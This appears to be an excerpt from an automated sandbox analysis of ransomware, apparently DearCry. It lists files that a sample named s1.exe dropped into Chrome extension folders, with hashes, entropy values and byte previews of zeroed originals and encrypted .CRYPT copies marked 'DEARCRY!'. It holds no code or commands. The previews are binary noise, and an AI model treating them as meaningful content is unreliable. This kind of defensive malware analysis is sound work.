                                                              SHA-512:BDD7014475A041FC8E2DD770294844D8C4A86B7BA36B0109CC7AD93C50D045EEC680F6DE1403DD19C69971E0624878423FC5CEFE664C6FC1DC934E52EF0F7B65
                                                              Malicious:false
                                                              Preview: DEARCRY!......5.pQE.o..q.A3...*A.^f....LE}mx..w...Y.[...".:.....~. S...N.z.P.).......9...$"...~$.jK..)..N..<UmaD.....c....V{|....b..L%.b...T.+.>}.-f.S.^...,o...z%..clA.....n..8&tm-...lO.l?....&p......j[...v>..S.j..~.x..).:..H...`%..S~B.f.h......,#1.,X.1....M.......D\q..K9...@~[....+Vo,P....&.cwr-.,.....^=Rp!....{H...`..R...{......]......th..fr.....R^.....y......f..t......B....A.A......K.....4/.....MS*.....f.8zf...b..M......Q...N.6P.o7..Bt...V..L........o|SMI.z..Zkx^%.#.C.^.P.9`...3<..l.v..Y..P./8x..(-....!e...?.*lv7Z...7..K.0f$>[....K...L.h.%.7yz.]*<Y..S...?m..g8.o..V|f.!*.I.gs+.n!4.g\.h.$.g..^n..T\....o.*7g....Np.i.!Ns..s.kt....d...[....<..E.U......E...Zt..6...S.....y+.....Qbp....x.m.%.NgJ..j...6....4.).....Q--.K.j...o....z^vv...g...$f@......xF.z....b.{T.,....bU.....*.u}.E..m.....S.......A...!._...asG..N.|....G`.VS:}..5$5..k...vj.=..uZ..O...K...5.=+...c.4..3.^zW.&.WtP..Uq...>..d$..A.bOA....>.V.5.U.v.S..1..t.H)53.....8.p>..!..Zv...1..o.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6800
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:75DE6689F868954D41DE891CCF98AF43
                                                              SHA1:503AF96916BBA7733E183F69D51AEC736BB1088B
                                                              SHA-256:180F3B3EC8678096B3A1795983CD388CA20031377E9D081BAE839336B24BBAAC
                                                              SHA-512:EEB99B020F07192185DF63799D4789A840A3011098C1B5EAD3ED204B2B2E3B7CD48742B3ADF6596D9FBCA605C3FD348D5EAEEFBE916142C619336DEB8201AC98
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7376
                                                              Entropy (8bit):7.976015841088153
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:39070A05E6BBAF3C6703084E191A535A
                                                              SHA1:803A8FD6F268AB9476C0133AB09C5297FD19B46A
                                                              SHA-256:566D78CD2EB1253361AE24FB9F0410C1E48575703BCF2ABBC247C574DB4C8BE9
                                                              SHA-512:6214877E83AAA920667BAD7B98752F7D950CCE34CF0640546A7614B7D870AF810F59629383A9869B59BFFCA99DF151B597D175133E1F6FBD3CD8F88289CE31A4
                                                              Malicious:false
                                                              Preview: DEARCRY!........?.....d....:....x...i..'.YD.t&0.k.3. ..]11..B..d..1.+.-a....._"..0.>..7V.b..r....d.^T1t=P+n..|.a....p%....;Q|.>....t..H.b....d!.V......u."...9....o....5..K.)..r..".~u..........o.'v"......Pb.n".\............T....a.:..+....;.....E..)..Y.t~&....v.....H...........$\.H.M+.E./.9.&u...%`I.^[.......W.".-.$;..M.....x....(....K.,z.y....M..m.....I...~c$.....Q.....R..,Q.f56..\m..J8.....:s....-0.V...'.5.....d.In......Z.yH..\*_.....H..f.F....LS..`..}.|.i&W...I.\~C.OHyDn.w.F...N.....P....tW....f...4....a....M.......;.]...G..a.~....f.k..]....5.!.9....ROK..*...._X.....>(.0.AQ..X.3...p....G...9$/|..TWbY....AQ......6'....6..L.1.O"..(3.....&..&.).A..X....J.^.zh.....:...@../r....)m...........m.}/t@..v..]...g].#..QhQ.... %..5...I....}.lVgQ5.x.E2.......lY..C=?..#7..3+wm....P4.z.U.Sq=.>.;..\w..%..H7......}.....i....R.+k&...l.......p....c.O.ACr....y...N.S...D...).R.d...&^RN.W..."X.-.dR..j^T.....=.E....s.......I..dH.FS..R&d......3..\..e..aN..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_16.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):314
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:864114B79914F73E06D7D8AD9E6588B2
                                                              SHA1:6694BBB1D34D2BB55BE982D869486D61CB990529
                                                              SHA-256:88BAE42470D2E0DEFF0608DB1938C9FAF5AAA686FF041B1E0983B9D9336D26F6
                                                              SHA-512:D47A1974179274F0918F52CC3F1054D7A8FF4464A82F1B9985758A52DE10EC9A637E404C2AE00652B729C220FD112D783196165781ABD220B2C87EF0E15BE019
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_16.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):880
                                                              Entropy (8bit):7.685730907468233
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7CA839A2D586F9B3E63CC603938F1FCD
                                                              SHA1:F8CB28A4603EEDA4C08626E386D5FD5AFD60DB80
                                                              SHA-256:1001A1E12DD1DE484478722D1BE5336238CEAAB1974CE2732F3C79B02637B4C3
                                                              SHA-512:775B4A61D3E86A6B021211FF0965EC6E91598D71726604FA34EAB75FE694AA64AD81CC599109CC2DEC0A851DE1B0EC019C94F2F94B6EDC59CC6A751A7C357EF2
                                                              Malicious:false
                                                              Preview: DEARCRY!....OOB.U*.........{1..+......to......j...~D...E.V..^Rs..H...Se.H.[k8h.P...S.4T....4.1u...u..h>.....o...... .....D#../.{wV....;.%...&.n1Q4h..........<Z....a..H............2...i..,A.+.P....r..w].7.a_. o..7<.....^....Z8....z..Iw.5..P.X.t'.N>._.0...................x.&.N.'..z.!m...-%...w(b8Rg..[P*..'..D.....^q...cB...Mv`...h7.FB..LG4.>.u@Gq.[RKR[.HZ.a..m....6c{..Bxj.X.jWe.A.....`7..J...#.n...2.RRc.`.x`.....6.0Y...DEARCRY!.....+\&....Z+@%..i.L.7.@.>..A...YY.....=.7.Jb9..:..4B...;.T..6.0....[.n...,=X..b.'!rk8.s..gz.8.V...w......7-7r..m..OR...{.I.".........v...;........j.O ,.UI...0...6...V.C.Z.Hf....%.LN....v...'.N-..j.,.^U./x[B...A..M................8]..n.X...)..T.+.............X-.`.%.S...j.gz.....G:..y]a.:~......[.;.0f ....?z....X...%{p..W.w[...TsqE..-...}Ja....?...)...Q...O....O...3y.:uy...ky`........>T..\[F.>.. .......y.b.5q
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\main.html
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):184
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9883EA293AD6809BE4E19549FC80FF0D
                                                              SHA1:DD5EEC69F98B508859BA2CC77E7D5F5AA98EDCF7
                                                              SHA-256:70AA1FEEB29E45E5232DF1750F3E0F57E25379DC498CB0B8EF48DD1DFFB9A510
                                                              SHA-512:7264673CBF811EA97D1DB47906A9FF16125EC3F0E691A45012B41ECDA03F61A46E248C6C7BB23243CADA389C99F6D049955C02D055BED266ACB91340517F519E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\main.html.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):752
                                                              Entropy (8bit):7.652899595526952
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:873A30A44534572EEB47F93D6F816FBA
                                                              SHA1:450638131716274D58646F46EB72BD08429B3198
                                                              SHA-256:B5FF5035CCFACD95CDCA30D2A7D67F0D5598A39B4F09D8A022F8FD56376094C7
                                                              SHA-512:6DBF37E5DB2EF79A20DD058057CF5A4FF43DB97D24ECAD5CD84A0326A56AD63657ED164C8ABAFCF0DBE17BD90777572A089148C766CE781F6686E1C08D2307EA
                                                              Malicious:false
                                                              Preview: DEARCRY!....<.1..t2w.......z..f1p=x........$..<..N.N..4...0sd@....F.3M.!/-!....$!r6....|...A..@.v../...~._q.AL....1...Q....._.xM:oQ...3K...,7...5 ...?6N.X....h...p..T.+b!PDA..Z.}...c.x.SlF...zc..%.....%.:....9..e.........._.b..........c).....Q............^.......\........./..V.o.@....t....|..D.x.k..q.g.b....-....x.`..|.iu..".p.e.:R.b.X..\..p...v.U .p'J6e...<DEARCRY!....&...9.....u.-n$......M-.mtu0.. .,<..V.CVm.pc..I.M......OV...UV.Xs...,..@g...z7.4.=...GE.[Q].P.IF..N.:z:......i....E.de.W.^..;...\.9.@...<}.......6.....;.7.Wt.jt...`...lsx8.U.nm..@R.6JJ%.P5.Spnp..g{g..`.g..E..H<.o.cG.pl...:m.<.....J5i..........9>:p.C....\........g.-).c.....a..'..~._....~.c.......Y.*...9...AvS..8*Xv.F_..|..m..O....R... ..Gq..4...i
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\main.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):190
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F0BE99F92D8B8AD3D79C9AA580FC2F08
                                                              SHA1:A9AB5160208575C2C19277491406D5C95690A5F0
                                                              SHA-256:E290CB91A6AAF54BB397C8F72D0BF5E8A70935CA00ABDE862E3D13FDF75FDBB0
                                                              SHA-512:C9C2002D0F14F1D92924F80105C4B092BCB8DE5BCB838179F2129B125FBCDF83F78EE80F44B0E26BAB451C6FA5D6A29547A4933A92858E310DFBBDCEE32F8CAE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\main.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):752
                                                              Entropy (8bit):7.606373639387055
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:527E6FBCB514935428C6FEFB43BBC31D
                                                              SHA1:4C78E4D4E7152DB845B85BB9908964E35F623367
                                                              SHA-256:75D549C04092EB006E63614DF8EC139DAAFCB57880C19D207463B756A286B071
                                                              SHA-512:E28FDAB013F7659C9A4C9BC1158DF69E3DF23B0733FBBE47D278C87992E088024098C4A06F8CC07CB0F376703B781B15EFE842E89836BB8D0CFA7C9F675C3DB3
                                                              Malicious:false
                                                              Preview: DEARCRY!.....efl.V.$.{..T...a..3.v.Tt..g.r.\<z%9..X.2...m.is.n...0..k...D.2"....i...]........'.V^S+...^b9......eoi.....cy..E+.......f.E....m...i.k.?...,..>...q..V.M.z]:a..2.......c.N;....^.x..(.+y.h...R....gUgnb(.1(......#.....{.[.{..M..9..f.L..oEg.2.P...._........>..5bw.x......!..>....9f..p.o..q&.pD..v].Gl.x.... .Ai..L<.]Aw...D.s|n02f.[..q....R.je..DEARCRY!....zmY.u[x.N.M.8..X.d....=...)N.B.b.,......M.Th.%..+p....=..z.qSJpJ..d.~C.?...f!(#o..j.........2:..,M..g[..iw9...y ....Q_*.........P[.%.._b=..l.3.T.a...|^pR..X9.}HT.|.E1..........i.e..%*."L......7.{y.g.... eU.v....I89+t.....)......7....5+.p....._.........E....u.Hh+.Y...8....A..iJ.1t..Me,o%.9.....6.......)6T.....E.P.>.....d..."...*!_.W..*.gWw...
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9964
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8D0E78CDD819EDE944FF5842EF3D2522
                                                              SHA1:7D122FD4CC0EDBBA6944D7A8AF62485CB9535F4B
                                                              SHA-256:85CAA74A0B42745640476920BA5D428499826F82A3656AD2FCBCE0B5678F2657
                                                              SHA-512:8D5D71207899CDF12B3BEAB149CCEB1A1310E755293D94ED0D954B1850C8CE276DD483E4CAABBEFCD5A575FFA790BA2ED868CAD8E456AF92F8477CB97E60C4D9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):10544
                                                              Entropy (8bit):7.979111388315992
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1181DFF5234E86EEA8442B8613DE8AFF
                                                              SHA1:EE6925F24BBD2716FF8BF44D989EBB7FF6E61738
                                                              SHA-256:F7FA3518B91440B9EA68E52A2006C0B158753B24F5532C4CBADBD40FC083D53E
                                                              SHA-512:E4A7E0F3B7346F0F1CD22CB7EFC64B88C08524759676D55BB6E8FB598C978A5719C64120CE00908201372875343DE5A4CFD9439A61F5C4042260BE41FC67D24F
                                                              Malicious:false
                                                              Preview: DEARCRY!....6...8.m=...3.V!;....h....$......@.6O..l..vD....z..Y.L..(l.."j1=T..$_.......h6.b....'.:3.4..N{h..Q..$.3.W..m1zr.p.m.XS.L]3....5..m.n...>.>...vB.C.6.."..=*.....1..-]\l.!........-*8.E......W..).'......+<..!..8$.B.|.J...G..y.......I..n...%.c...(......v.......B.~..g=.@..O...f5 ..dc.@K.....{..>vN1,.:3....>.<),"D....v...Z.17.<.o.~..*..O......uzh..-.}..R.HaQ.`...1...AG......K........0..Zw........h.........{O!.`A.f....0 =~q'.O.....m...|v.V..+&h>F.`.I.y7.Y:........:.sS .+=.*.W..E?..$.$..J....`.>!>..@1@.DS.......B........5`.8U...../v@F,...BJ.R.}3.|.WD...u.e.q...1l..W.2.....IGJ/.Q_T\......*H.{.h....P.......>.....^...'..rB..u.3.)_PI..L|o....: Z..+.Ym......G.....!.......c..+.8...K..R5..J..z:.%...-...p..NH...w....$....k|....q.$..,..oM...z.Dz].#..6........m.y.y..t...3..J...(U.F.>Ri.L.C...).W.a.s..a._oI4-.e<.....y....E'YM.!......v.j......H.b...C=GJ.m..V.@...Q......\`b...Lq@.(...(...S .\t..\....uM.""#I...5o~...i).dt1...D..;.EOM......^.O..".!l
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\eventpage_bin_prod.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):67799
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D4178852BC0D9903DE1AD389AA12C9B6
                                                              SHA1:2613A80D282A7121B6217F1F151B76D2955F1E66
                                                              SHA-256:76AE691272071F605FB6045756ABD449E181D0BECBB1AC78BBBF424009F62F34
                                                              SHA-512:B040ABBE45EDE13353D81919A0966096B424760158F6677EABFBE69DB3D016BF633A19D07D6C2DECACA84716780B9C28D34ED91A6A3ABA482588F7742950BEDA
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\eventpage_bin_prod.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):68088
                                                              Entropy (8bit):7.997381610653484
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:B1A4F9E6460F095C4FDBFF83F771006A
                                                              SHA1:0658D95CB57DC1E42CF63F2C36B28906A3AE74A2
                                                              SHA-256:431E2BA8FB97046D72746F88DA1D332E8D8DB8FDF8B827EBFAB574E1EC02DC02
                                                              SHA-512:BCB637DEFFAEEC7A7469DD770C1BC883487CCCAFF71576D244447C8581CAB0208828E731C634F3D1245B98CC36D5A84DB0A234AB1EBE3D07FB5F0DC451B76225
                                                              Malicious:true
                                                              Preview: DEARCRY!....Qx......(p~.|B..H.i.}....FJ..~H..i.C.g....y.....QTY..D........)..........*.....5..&..W..$..3....A.6.....o.p....c..&...N.^...p.&..d.....B........H.-.p.Z>..R......(,/.*.Z"....=F.......q)[...v7}.....vc...a9/....3.M......`&...x...tR9t#...m....N...............yN..U(]|....`.....M-.NC..P.R..C.Ji.y..@.y.~.P..\...F-...PKT..d?nr.H.J..P.VV`.m..`.m)A.2.~.[6;...}.d2..!U...+.N......?..T.-|z..0.>......'.j.#.({FQ.z..._...&.bp..\...t...vyR0_.3.xW__....G....-.+....'...C3..x..jE6..G....e.H$.-.....AW...yKs)r..... ..c&.F.|C...]....2..{.l.F<l....bo.'y'.S..j.%..(.(/1...A....|...X...X.).....:GT..m.f.6=:?{...p...S[AW.....# ?.o.N7.....(...............Op.X.....y.T.....MH...N..j...,x.$......x.ly\)z...R.U.q&.....k.. $...>Dq>}....w(.L...gI.X*(d....c.s...M....47.5G..H..V.........+...l...\.....H..+$L8.m..x.*.,.i+... _.).}UdC_d:K..M./..,.f.z.3K.)|U.....TH..JD#;..`....3...L58....C...x..D.`...oz.g/$T...~&u.k....7.z.....X...Eia\;.8..[.w^....t......9.@...w...
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\page_embed_script.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):247
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:060551616AFE1672B254B32E5E371077
                                                              SHA1:8717322567CB05AEB6CDC8B3813C60C150DE2761
                                                              SHA-256:F2124D39ABB67255F071E343E779F7E50A86B64C19F2A39665962E8179B6209D
                                                              SHA-512:E9A4D5A7AC1537F091A5314712280E7B572567E02714911641D5D505E95EF5D3709658D7162971F780C5FCFCEA48A15F849050A04A5E30A480270724115B6E93
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\page_embed_script.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.554398386086168
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AC40A2A44A4F9387471BC7556B44B66B
                                                              SHA1:73CB623A4DA78909B69F94F6995A7BFFDA68DE7F
                                                              SHA-256:7C008376269DE7D6DB1E0BF9F1BC30D425A8EB5EF47870B1AFC052427D49CA6F
                                                              SHA-512:4128DCDCAE651D1552D3450267447F62956D76C110B5AE79FC532DC72E4C1139AA908B4DA51D02A7C64917B318951F0AF43A041DD829FCC123AF49590238BF99
                                                              Malicious:false
                                                              Preview: DEARCRY!......X].h<F.{~X..!1i8. W_.d.......b..ko...l....H~~}..MI_...=^....4p.d.Y........i.C.....QJ.. ...8.&./#uj...i?P<6.7r...Y[.l...m.i....>.U.i..{.I~K....?.gR.....4.p.[.~..@....0E.&6.=+.?.>-.6.m_.tS]................c6.y.6..Hk.].....P...3...:..NbP............ ..|..Z.v..E;/*].zIn..-.)p.b."..JQ.......F.y..........D..>$..9..J.....8.).V0..0.Y..m.....;.SC.2..z+......,>..<MR.8aTUO..!+.].@.e...q..Q.....[,>N...A8X..u.+ri...E.0....#:.zKx..`..fIw.-..JR<5..H..%..3. ..8.q.J.A...~5..vR%6......k}.C......V..s.Q`...
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\craw_background.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1125628
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5D91A41890DC3D28DDD93226A392966D
                                                              SHA1:E175FB6AAD9C8901C8D4C0AEF639FD4FBDBAA20F
                                                              SHA-256:BCD92479D76300AE0ED951C8346949E789B8D1A24DEA4BCB66BC1D2189477AFA
                                                              SHA-512:FA7D75903F3383F0EE47F8555B54586394A40B4E2642A8C81259983179624655749758EC43F2A7B992283098D49664CE62AA86997D11445BED369A640640F150
                                                              Malicious:true
